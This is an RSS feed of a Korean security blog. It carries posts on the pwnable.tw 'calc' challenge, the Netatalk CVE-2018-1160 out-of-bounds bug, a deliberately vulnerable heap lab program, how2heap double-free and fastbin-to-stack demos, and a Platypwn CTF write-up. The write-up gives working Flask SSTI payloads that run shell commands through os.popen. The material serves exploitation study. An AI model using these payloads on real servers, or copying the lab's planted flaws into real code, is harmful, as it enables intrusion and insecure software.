<?xml version="1.0" encoding="UTF-8"?><rss version="2.0" xmlns:content="http://purl.org/rss/1.0/modules/content/"><channel><title>duhyeon07</title><description>Blog</description><link>https://pwner7-blog.vercel.app/</link><language>en</language><item><title>calc</title><link>https://pwner7-blog.vercel.app/posts/guide/calc/</link><guid isPermaLink="true">https://pwner7-blog.vercel.app/posts/guide/calc/</guid><description>calc</description><pubDate>Wed, 11 Dec 2024 00:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;문제 설명&lt;/h1&gt;
&lt;p&gt;Have you ever use Microsoft calculator?&lt;/p&gt;
&lt;p&gt;nc chall.pwnable.tw 10100&lt;/p&gt;
&lt;h1&gt;코드 분석&lt;/h1&gt;
&lt;p&gt;IDA를 이용해 디컴파일 해보면 main 함수는 다음과 같이 calc라는 함수를 호출한다.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;int __cdecl main(int argc, const char **argv, const char **envp)
{
  ssignal(14, timeout);
  alarm(60);
  puts(&quot;=== Welcome to SECPROG calculator ===&quot;);
  fflush(stdout);
  calc();
  return puts(&quot;Merry Christmas!&quot;);
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;calc() 함수의 코드는 다음과 같다. 아래 코드를 보면 bzero 함수를 이용해 operators 버퍼를 0x400 바이트 만큼 초기화한다.
초기화가 끝난 후에는 get_expr함수에서 operators 버퍼에 대해서 연산자가 포함되어 있는지에 대해서 검사한다.
그리고 init_pool함수를 이용해 numbers 버퍼를 초기화 하고, parse_expr함수에서는 operators, numbers에 대한 expression에 대해서 parsing한다.
마지막으로 printf함수를 이용해 계산한 값을 출력한다.&lt;/p&gt;
&lt;h3&gt;calc 함수&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;unsigned int calc()
{
  _DWORD numbers[101]; // [esp+18h] [ebp-5A0h] BYREF
  _BYTE operators[1024]; // [esp+1ACh] [ebp-40Ch] BYREF
  unsigned int canary; // [esp+5ACh] [ebp-Ch]

  canary = __readgsdword(0x14u);
  while ( 1 )
  {
    bzero(operators, 0x400u);
    if ( !get_expr((int)operators, 1024) )
      break;
    init_pool(numbers);
    if ( parse_expr(operators, numbers) )
    {
      printf(&quot;%d\n&quot;, numbers[numbers[0]]);
      fflush(stdout);
    }
  }
  return __readgsdword(0x14u) ^ canary;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;get_expr 함수&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;int __cdecl get_expr(int buf, int len)
{
  int v2; // eax
  char operator; // [esp+1Bh] [ebp-Dh] BYREF
  int v5; // [esp+1Ch] [ebp-Ch]

  v5 = 0;
  while ( v5 &amp;lt; len &amp;amp;&amp;amp; read(0, (int)&amp;amp;operator, 1) != -1 &amp;amp;&amp;amp; operator != &apos;\n&apos; )
  {
    if ( operator == &apos;+&apos;
      || operator == &apos;-&apos;
      || operator == &apos;*&apos;
      || operator == &apos;/&apos;
      || operator == &apos;%&apos;
      || operator &amp;gt; &apos;/&apos; &amp;amp;&amp;amp; operator &amp;lt;= &apos;9&apos; )
    {
      v2 = v5++;
      *(_BYTE *)(buf + v2) = operator;
    }
  }
  *(_BYTE *)(v5 + buf) = 0;
  return v5;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;parse_expr 함수&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;int __cdecl parse_expr(int operators, _DWORD *numbers)
{
  int idx1; // eax
  int _operators; // [esp+20h] [ebp-88h]
  int i; // [esp+24h] [ebp-84h]
  int idx2; // [esp+28h] [ebp-80h]
  int size; // [esp+2Ch] [ebp-7Ch]
  char *number; // [esp+30h] [ebp-78h]
  int _number; // [esp+34h] [ebp-74h]
  _BYTE operator[100]; // [esp+38h] [ebp-70h] BYREF
  unsigned int canary; // [esp+9Ch] [ebp-Ch]

  canary = __readgsdword(0x14u);
  _operators = operators;
  idx2 = 0;
  bzero(operator, 0x64u);
  for ( i = 0; ; ++i )
  {
    if ( (unsigned int)(*(char *)(i + operators) - 48) &amp;gt; 9 )
    {
      size = i + operators - _operators;
      number = (char *)malloc(size + 1);
      memcpy(number, _operators, size);
      number[size] = 0;
      if ( !strcmp(number, &quot;0&quot;) )
      {
        puts(&quot;prevent division by zero&quot;);
        fflush(stdout);
        return 0;
      }
      _number = atoi(number);
      if ( _number &amp;gt; 0 )
      {
        idx1 = (*numbers)++;
        numbers[idx1 + 1] = _number;
      }
      if ( *(_BYTE *)(i + operators) &amp;amp;&amp;amp; *(char *)(i + 1 + operators) - (unsigned int)&apos;0&apos; &amp;gt; 9 )
      {
        puts(&quot;expression error!&quot;);
        fflush(stdout);
        return 0;
      }
      _operators = i + 1 + operators;
      if ( operator[idx2] )
      {
        switch ( *(_BYTE *)(i + operators) )
        {
          case &apos;%&apos;:
          case &apos;*&apos;:
          case &apos;/&apos;:
            if ( operator[idx2] != 43 &amp;amp;&amp;amp; operator[idx2] != 45 )
              goto LABEL_14;
            operator[++idx2] = *(_BYTE *)(i + operators);
            break;
          case &apos;+&apos;:
          case &apos;-&apos;:
LABEL_14:
            eval(numbers, operator[idx2]);
            operator[idx2] = *(_BYTE *)(i + operators);
            break;
          default:
            eval(numbers, operator[idx2--]);
            break;
        }
      }
      else
      {
        operator[idx2] = *(_BYTE *)(i + operators);
      }
      if ( !*(_BYTE *)(i + operators) )
        break;
    }
  }
  while ( idx2 &amp;gt;= 0 )
    eval(numbers, operator[idx2--]);
  return 1;
}
&lt;/code&gt;&lt;/pre&gt;
</content:encoded></item><item><title>CVE-2018-1160</title><link>https://pwner7-blog.vercel.app/posts/guide/cve_2018_1160/</link><guid isPermaLink="true">https://pwner7-blog.vercel.app/posts/guide/cve_2018_1160/</guid><description>Analysis the CVE-2018-1160</description><pubDate>Wed, 11 Dec 2024 00:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;취약점 소개&lt;/h1&gt;
&lt;p&gt;Apple Filing Protocol을 오픈소스로 구현한 소프트웨어인 Netatalk에서 발견된 취약점으로,
dsi_opensess.c에서 OOB 버그로 인해 어떠한 코드를 실행할 수 있다&lt;/p&gt;
&lt;h1&gt;dsi_opensess.c&lt;/h1&gt;
&lt;pre&gt;&lt;code&gt;/*
 * Copyright (c) 1997 Adrian Sun (asun@zoology.washington.edu)
 * All rights reserved. See COPYRIGHT.
 */

#ifdef HAVE_CONFIG_H
#include &quot;config.h&quot;
#endif /* HAVE_CONFIG_H */

#include &amp;lt;stdio.h&amp;gt;
#include &amp;lt;string.h&amp;gt;
#include &amp;lt;sys/types.h&amp;gt;
#include &amp;lt;stdlib.h&amp;gt;

#include &amp;lt;atalk/dsi.h&amp;gt;
#include &amp;lt;atalk/util.h&amp;gt;
#include &amp;lt;atalk/logger.h&amp;gt;

/* OpenSession. set up the connection */
void dsi_opensession(DSI *dsi)
{
  uint32_t i = 0; /* this serves double duty. it must be 4-bytes long */
  int offs;

  if (setnonblock(dsi-&amp;gt;socket, 1) &amp;lt; 0) {
      LOG(log_error, logtype_dsi, &quot;dsi_opensession: setnonblock: %s&quot;, strerror(errno));
      AFP_PANIC(&quot;setnonblock error&quot;);
  }

  /* parse options */
  while (i &amp;lt; dsi-&amp;gt;cmdlen) {
    switch (dsi-&amp;gt;commands[i++]) {
    case DSIOPT_ATTNQUANT:
      memcpy(&amp;amp;dsi-&amp;gt;attn_quantum, dsi-&amp;gt;commands + i + 1, dsi-&amp;gt;commands[i]);
      dsi-&amp;gt;attn_quantum = ntohl(dsi-&amp;gt;attn_quantum);

    case DSIOPT_SERVQUANT: /* just ignore these */
    default:
      i += dsi-&amp;gt;commands[i] + 1; /* forward past length tag + length */
      break;
    }
  }

  /* let the client know the server quantum. we don&apos;t use the
   * max server quantum due to a bug in appleshare client 3.8.6. */
  dsi-&amp;gt;header.dsi_flags = DSIFL_REPLY;
  dsi-&amp;gt;header.dsi_data.dsi_code = 0;
  /* dsi-&amp;gt;header.dsi_command = DSIFUNC_OPEN;*/

  dsi-&amp;gt;cmdlen = 2 * (2 + sizeof(i)); /* length of data. dsi_send uses it. */

  /* DSI Option Server Request Quantum */
  dsi-&amp;gt;commands[0] = DSIOPT_SERVQUANT;
  dsi-&amp;gt;commands[1] = sizeof(i);
  i = htonl(( dsi-&amp;gt;server_quantum &amp;lt; DSI_SERVQUANT_MIN || 
	      dsi-&amp;gt;server_quantum &amp;gt; DSI_SERVQUANT_MAX ) ? 
	    DSI_SERVQUANT_DEF : dsi-&amp;gt;server_quantum);
  memcpy(dsi-&amp;gt;commands + 2, &amp;amp;i, sizeof(i));

  /* AFP replaycache size option */
  offs = 2 + sizeof(i);
  dsi-&amp;gt;commands[offs] = DSIOPT_REPLCSIZE;
  dsi-&amp;gt;commands[offs+1] = sizeof(i);
  i = htonl(REPLAYCACHE_SIZE);
  memcpy(dsi-&amp;gt;commands + offs + 2, &amp;amp;i, sizeof(i));
  dsi_send(dsi);
}

&lt;/code&gt;&lt;/pre&gt;
</content:encoded></item><item><title>Heap Exploitation LAB</title><link>https://pwner7-blog.vercel.app/posts/guide/heap_lab/</link><guid isPermaLink="true">https://pwner7-blog.vercel.app/posts/guide/heap_lab/</guid><description>Heap Exploitation LAB</description><pubDate>Wed, 11 Dec 2024 00:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;Code&lt;/h1&gt;
&lt;p&gt;다양한 힙 공격을 해보기 위해 만든 코드입니다.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;#include &amp;lt;stdio.h&amp;gt;
#include &amp;lt;stdlib.h&amp;gt;

void menu()
{
    printf(&quot;\n&quot;);
    printf(&quot;--------------------------------------------------\n&quot;);
    printf(&quot;|            The Heap Exploitation Lab           |\n&quot;);
    printf(&quot;--------------------------------------------------\n&quot;);
    printf(&quot;\n&quot;);
    printf(&quot;1. Allocate\n&quot;);
    printf(&quot;2. Free\n&quot;);
    printf(&quot;3. Edit\n&quot;);
    printf(&quot;4. Print\n&quot;);
    printf(&quot;&amp;gt; &quot;);
}

int main()
{
    int select;
    int ptr_length;
    int size;
    int idx;

    printf(&quot;--------------------------------------------------\n&quot;);
    printf(&quot;|            The Heap Exploitation Lab           |\n&quot;);
    printf(&quot;--------------------------------------------------\n&quot;);

    printf(&quot;Array Size: &quot;);
    scanf(&quot;%d&quot;, &amp;amp;ptr_length);

    void* ptr[ptr_length];

    while (1)
    {
        menu();
        scanf(&quot;%d&quot;, &amp;amp;select);
        switch (select)
        {
            case 1:
               printf(&quot;Allocation Size: &quot;);
               scanf(&quot;%d&quot;, &amp;amp;size);
               printf(&quot;Index: &quot;);
               scanf(&quot;%d&quot;, &amp;amp;idx);
               ptr[idx] = malloc(size);
               break;
            case 2:
               printf(&quot;Free Index: &quot;);
               scanf(&quot;%d&quot;, &amp;amp;idx);
               free(ptr[idx]);
               break;
            case 3:
               printf(&quot;Read Size: &quot;);
               scanf(&quot;%d&quot;, &amp;amp;size);
               printf(&quot;Index: &quot;);
               scanf(&quot;%d&quot;, &amp;amp;idx);
               read(0, ptr[idx], size);
               break;
            case 4:
               printf(&quot;Write Index: &quot;);
               scanf(&quot;%d&quot;, &amp;amp;idx);
               printf(ptr[idx]);
               break;
        }
    }
}
&lt;/code&gt;&lt;/pre&gt;
</content:encoded></item><item><title>Introduction Heap Exploitation</title><link>https://pwner7-blog.vercel.app/posts/guide/how2heap/</link><guid isPermaLink="true">https://pwner7-blog.vercel.app/posts/guide/how2heap/</guid><description>Introduction Heap Exploitation</description><pubDate>Wed, 11 Dec 2024 00:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;목차&lt;/h1&gt;
&lt;ol&gt;
&lt;li&gt;&lt;a href=&quot;#first_fit&quot;&gt;first_fit&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#fastbin_dup&quot;&gt;fastbin_dup&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#fastbin_dup_into_stack&quot;&gt;fastbin_dup_into_stack&lt;/a&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;h1&gt;first_fit&lt;/h1&gt;
&lt;pre&gt;&lt;code&gt;#include &amp;lt;stdio.h&amp;gt;
#include &amp;lt;stdlib.h&amp;gt;
#include &amp;lt;string.h&amp;gt;

int main()
{
	fprintf(stderr, &quot;This file doesn&apos;t demonstrate an attack, but shows the nature of glibc&apos;s allocator.\n&quot;);
	fprintf(stderr, &quot;glibc uses a first-fit algorithm to select a free chunk.\n&quot;);
	fprintf(stderr, &quot;If a chunk is free and large enough, malloc will select this chunk.\n&quot;);
	fprintf(stderr, &quot;This can be exploited in a use-after-free situation.\n&quot;);

	fprintf(stderr, &quot;Allocating 2 buffers. They can be large, don&apos;t have to be fastbin.\n&quot;);
	char* a = malloc(0x512);
	char* b = malloc(0x256);
	char* c;

	fprintf(stderr, &quot;1st malloc(0x512): %p\n&quot;, a);
	fprintf(stderr, &quot;2nd malloc(0x256): %p\n&quot;, b);
	fprintf(stderr, &quot;we could continue mallocing here...\n&quot;);
	fprintf(stderr, &quot;now let&apos;s put a string at a that we can read later \&quot;this is A!\&quot;\n&quot;);
	strcpy(a, &quot;this is A!&quot;);
	fprintf(stderr, &quot;first allocation %p points to %s\n&quot;, a, a);

	fprintf(stderr, &quot;Freeing the first one...\n&quot;);
	free(a);

	fprintf(stderr, &quot;We don&apos;t need to free anything again. As long as we allocate smaller than 0x512, it will end up at %p\n&quot;, a);

	fprintf(stderr, &quot;So, let&apos;s allocate 0x500 bytes\n&quot;);
	c = malloc(0x500);
	fprintf(stderr, &quot;3rd malloc(0x500): %p\n&quot;, c);
	fprintf(stderr, &quot;And put a different string here, \&quot;this is C!\&quot;\n&quot;);
	strcpy(c, &quot;this is C!&quot;);
	fprintf(stderr, &quot;3rd allocation %p points to %s\n&quot;, c, c);
	fprintf(stderr, &quot;first allocation %p points to %s\n&quot;, a, a);
	fprintf(stderr, &quot;If we reuse the first allocation, it now holds the data from the third allocation.\n&quot;);
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;First Fit&lt;/h2&gt;
&lt;p&gt;First Fit 알고리즘이란 Heap에서 메모리를 해제 이후, 가장 첫번째 공간에 할당하는 알고리즘을 뜻합니다.&lt;/p&gt;
&lt;h2&gt;Code Analysis&lt;/h2&gt;
&lt;p&gt;0x512, 0x256 바이트 크기의 Heap 메모리 공간을 각각 a, b에 할당 시키고, c라는 포인터 변수를 선언했습니다.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;char* a = malloc(0x512);
char* b = malloc(0x256);
char* c;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;각 a, b에 대한 메모리 주소를 출력하면 아래와 같습니다.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;1st malloc(0x512): 0x55d31b3632a0
2nd malloc(0x256): 0x55d31b3637c0
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;이와 같이 두개의 동적 메모리를 할당했습니다. 그리고 a라는 동적 메모리 공간에 &quot;this is A!&quot;라는 문자열을 복사 한 후, 내용을 출력했습니다. 결과는 아래와 같습니다.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;now let&apos;s put a string at a that we can read later &quot;this is A!&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;그리고 free함수를 통해 a라는 동적 메모리를 해제 한 후 메모리 주소를 출력해보면 결과는 아래와 같습니다.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;We don&apos;t need to free anything again. As long as we allocate smaller than 0x512, it will end up at 0x55d31b3632a0
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;a라는 동적 메모리 공간을 해제 한 후, c라는 동적 메모리 공간을 0x500바이트 할당했습니다. 결과를 보면 a의 주소와 c의 주소는 같다는 것을 알 수 있습니다.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;3rd malloc(0x500): 0x55d31b3632a0
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;이러한 방법을 이용한 공격 방법을 Use-After-Free 라고 합니다. 이는 말 그대로 메모리를 사용한 후 해제 했을 떄 발생하는 취약점을 뜻합니다.&lt;/p&gt;
&lt;h1&gt;fastbin_dup&lt;/h1&gt;
&lt;pre&gt;&lt;code&gt;#include &amp;lt;stdio.h&amp;gt;
#include &amp;lt;stdlib.h&amp;gt;
#include &amp;lt;assert.h&amp;gt;

int main()
{
	setbuf(stdout, NULL);

	printf(&quot;This file demonstrates a simple double-free attack with fastbins.\n&quot;);

	printf(&quot;Fill up tcache first.\n&quot;);
	void *ptrs[8];
	for (int i=0; i&amp;lt;8; i++) {
		ptrs[i] = malloc(8);
	}
	for (int i=0; i&amp;lt;7; i++) {
		free(ptrs[i]);
	}

	printf(&quot;Allocating 3 buffers.\n&quot;);
	int *a = calloc(1, 8);
	int *b = calloc(1, 8);
	int *c = calloc(1, 8);

	printf(&quot;1st calloc(1, 8): %p\n&quot;, a);
	printf(&quot;2nd calloc(1, 8): %p\n&quot;, b);
	printf(&quot;3rd calloc(1, 8): %p\n&quot;, c);

	printf(&quot;Freeing the first one...\n&quot;);
	free(a);

	printf(&quot;If we free %p again, things will crash because %p is at the top of the free list.\n&quot;, a, a);
	// free(a);

	printf(&quot;So, instead, we&apos;ll free %p.\n&quot;, b);
	free(b);

	printf(&quot;Now, we can free %p again, since it&apos;s not the head of the free list.\n&quot;, a);
	free(a);

	printf(&quot;Now the free list has [ %p, %p, %p ]. If we malloc 3 times, we&apos;ll get %p twice!\n&quot;, a, b, a, a);
	a = calloc(1, 8);
	b = calloc(1, 8);
	c = calloc(1, 8);
	printf(&quot;1st calloc(1, 8): %p\n&quot;, a);
	printf(&quot;2nd calloc(1, 8): %p\n&quot;, b);
	printf(&quot;3rd calloc(1, 8): %p\n&quot;, c);

	assert(a == c);
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Fastbin&lt;/h2&gt;
&lt;p&gt;Fastbin은 10개로 이루어져 있고, 각각이 Single Linked List 형태로 연결되어 있습니다. 그리고 청크의 크기는 16, 24, 32, 40, 48, 56, 64, 72, 80,..,88로 이루어져 있고, Metadata의 크기도 포함이 됩니니다.&lt;/p&gt;
&lt;h2&gt;Code Analysis&lt;/h2&gt;
&lt;p&gt;8바이트 크기의 함수형 포인터 배열 ptrs를 선언했습니다. 그리고 0부터 8까지의 element에 각각 8바이트 크기의 동적 메모리를 할당했습니다.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;void *ptrs[8];

for (int i=0; i&amp;lt;8; i++) {
	ptrs[i] = malloc(8);
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;그리고 0부터 7까지의 element를 free 함수를 이용해 해제시켰습니다.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;for (int i=0; i&amp;lt;7; i++) {
	free(ptrs[i]);
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;8바이트 크기의 동적 메모리를 변수 a,b,c에 각각 할당시켰습니다&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;int *a = calloc(1, 8);
int *b = calloc(1, 8);
int *c = calloc(1, 8);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;이를 출력하면 다음과 같습니다.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;1st calloc(1, 8): 0x559f0e3403a0
2nd calloc(1, 8): 0x559f0e3403c0
3rd calloc(1, 8): 0x559f0e3403e0
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;할당된 변수 중 a를 free 함수를 이용해 해제했습니다. 이를 출력하면 다음과 같습니다.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;If we free 0x559f0e3403a0 again, things will crash because 0x559f0e3403a0 is at the top of the free list.
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;두 번쨰로 변수를 b를 해제 시키고 a 변수의 주소를 출력 시키면 다음과 같습니다.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Now, we can free 0x559f0e3403a0 again, since it&apos;s not the head of the free list.
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;다시 a변수를 해제 시키고, 출력하면 다음과 같습니다.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Now the free list has [ 0x559f0e3403a0, 0x559f0e3403c0, 0x559f0e3403a0 ]. If we malloc 3 times, we&apos;ll get 0x559f0e3403a0 twice!
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;마지막으로 동적 메모리를 변수 a,b,c에 각각 8바이트로 할당 시키고 출력하면 다음과 같습니니다.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;1st calloc(1, 8): 0x559f0e3403a0
2nd calloc(1, 8): 0x559f0e3403c0
3rd calloc(1, 8): 0x559f0e3403a0
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;출력 결과를 보면 1번째 주소와 3번쨰 주소가 같다는 것을 알 수 있습니다.&lt;/p&gt;
&lt;p&gt;이러한 방법을 이용한 공격 방법을 Double-Free Attack 이라고 하고, free를 두번 하기 때문에 Double-Free라고 이름을 정했습니다.&lt;/p&gt;
&lt;h1&gt;fastbin_dup_into_stack&lt;/h1&gt;
&lt;pre&gt;&lt;code&gt;#include &amp;lt;stdio.h&amp;gt;
#include &amp;lt;stdlib.h&amp;gt;
#include &amp;lt;assert.h&amp;gt;

int main()
{
	fprintf(stderr, &quot;This file extends on fastbin_dup.c by tricking calloc into\n&quot;
	       &quot;returning a pointer to a controlled location (in this case, the stack).\n&quot;);


	fprintf(stderr,&quot;Fill up tcache first.\n&quot;);

	void *ptrs[7];

	for (int i=0; i&amp;lt;7; i++) {
		ptrs[i] = malloc(8);
	}
	for (int i=0; i&amp;lt;7; i++) {
		free(ptrs[i]);
	}


	unsigned long stack_var[4] __attribute__ ((aligned (0x10)));

	fprintf(stderr, &quot;The address we want calloc() to return is %p.\n&quot;, stack_var + 2);

	fprintf(stderr, &quot;Allocating 3 buffers.\n&quot;);
	int *a = calloc(1,8);
	int *b = calloc(1,8);
	int *c = calloc(1,8);

	fprintf(stderr, &quot;1st calloc(1,8): %p\n&quot;, a);
	fprintf(stderr, &quot;2nd calloc(1,8): %p\n&quot;, b);
	fprintf(stderr, &quot;3rd calloc(1,8): %p\n&quot;, c);

	fprintf(stderr, &quot;Freeing the first one...\n&quot;); //First call to free will add a reference to the fastbin
	free(a);

	fprintf(stderr, &quot;If we free %p again, things will crash because %p is at the top of the free list.\n&quot;, a, a);

	fprintf(stderr, &quot;So, instead, we&apos;ll free %p.\n&quot;, b);
	free(b);

	//Calling free(a) twice renders the program vulnerable to Double Free

	fprintf(stderr, &quot;Now, we can free %p again, since it&apos;s not the head of the free list.\n&quot;, a);
	free(a);

	fprintf(stderr, &quot;Now the free list has [ %p, %p, %p ]. &quot;
		&quot;We&apos;ll now carry out our attack by modifying data at %p.\n&quot;, a, b, a, a);
	unsigned long *d = calloc(1,8);

	fprintf(stderr, &quot;1st calloc(1,8): %p\n&quot;, d);
	fprintf(stderr, &quot;2nd calloc(1,8): %p\n&quot;, calloc(1,8));
	fprintf(stderr, &quot;Now the free list has [ %p ].\n&quot;, a);
	fprintf(stderr, &quot;Now, we have access to %p while it remains at the head of the free list.\n&quot;
		&quot;so now we are writing a fake free size (in this case, 0x20) to the stack,\n&quot;
		&quot;so that calloc will think there is a free chunk there and agree to\n&quot;
		&quot;return a pointer to it.\n&quot;, a);
	stack_var[1] = 0x20;

	fprintf(stderr, &quot;Now, we overwrite the first 8 bytes of the data at %p to point right before the 0x20.\n&quot;, a);
	fprintf(stderr, &quot;Notice that the stored value is not a pointer but a poisoned value because of the safe linking mechanism.\n&quot;);
	fprintf(stderr, &quot;^ Reference: https://research.checkpoint.com/2020/safe-linking-eliminating-a-20-year-old-malloc-exploit-primitive/\n&quot;);
	unsigned long ptr = (unsigned long)stack_var;
	unsigned long addr = (unsigned long) d;
	/*VULNERABILITY*/
	*d = (addr &amp;gt;&amp;gt; 12) ^ ptr;
	/*VULNERABILITY*/

	fprintf(stderr, &quot;3rd calloc(1,8): %p, putting the stack address on the free list\n&quot;, calloc(1,8));

	void *p = calloc(1,8);

	fprintf(stderr, &quot;4th calloc(1,8): %p\n&quot;, p);
	assert((unsigned long)p == (unsigned long)stack_var + 0x10);
}
&lt;/code&gt;&lt;/pre&gt;
</content:encoded></item><item><title>Platypwn CTF 2024 Write-Up</title><link>https://pwner7-blog.vercel.app/posts/guide/platypwn2024/</link><guid isPermaLink="true">https://pwner7-blog.vercel.app/posts/guide/platypwn2024/</guid><description>Platypwn CTF 2024 Write-Up</description><pubDate>Wed, 11 Dec 2024 00:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;OS Detection&lt;/h1&gt;
&lt;p&gt;문제에 대한 코드는 다음과 같이 User Agent에 대한 데이터를 파싱한 다음, 문자열에서 OS에 대한 종류에 대한 값을 가져온다. 그리고 &lt;code&gt;render_template_string&lt;/code&gt; 함수를 통해서 문자열을 user_agent_hint에 반환한다. 여기서 &lt;code&gt;render_template_string&lt;/code&gt; 함수는  &lt;code&gt;{{ }}&lt;/code&gt;안에 입력된 코드를 해석하므로, SSTI 취약점이 발생한다.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;from flask import Flask, request, render_template, render_template_string
from ua_parser import user_agent_parser

app = Flask(__name__)

@app.route(&quot;/&quot;)
def home():
    user_agent = request.headers.get(&apos;User-Agent&apos;)
    try:
        parsed_string = user_agent_parser.Parse(user_agent)
        family = parsed_string[&apos;os&apos;][&apos;family&apos;]
        user_agent_hint = render_template_string(user_agent)
        return render_template(&apos;index.html&apos;, os=family, user_agent=user_agent_hint)
    except Exception as e:
        return render_template(&apos;failure.html&apos;, error=str(e))
    
@app.route(&quot;/source&quot;)
def source():
    code = open(__file__).read()
    return render_template_string(&quot;&amp;lt;pre&amp;gt;{{ code }}&amp;lt;/pre&amp;gt;&quot;, code=code)
    

if __name__ == &quot;__main__&quot;:
    # No debug, that would be insecure!
    #app.run(debug=True)
    app.run()
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;그래서 SSTI 취약점을 이용해서 RCE Payload를 실행하면 flag를 얻을 수 있다. 하지만 flag에 대한 파일 위치를 모르기 떄문에 경로를 찾아야 된다.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;{{config.__class__.__init__.__globals__[&apos;os&apos;].popen(&apos;find / -name &quot;flag*&quot; 2&amp;gt;/dev/null&apos;).read()}}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;이러한 RCE 이용해서 flag에 대한 경로를 구할 수 있다. 이 중에서 /app/flag/flag.txt 파일을 읽었다.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;{{config.__class__.__init__.__globals__[&apos;os&apos;].popen(&apos;cat /app/flag/flag.txt&apos;).read()}}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;flag는 다음과 같다.&lt;/p&gt;
&lt;p&gt;PP{h4ck3r-OS-d3t3ct3d::Q3HIY8GDEVv2}&lt;/p&gt;
</content:encoded></item></channel></rss>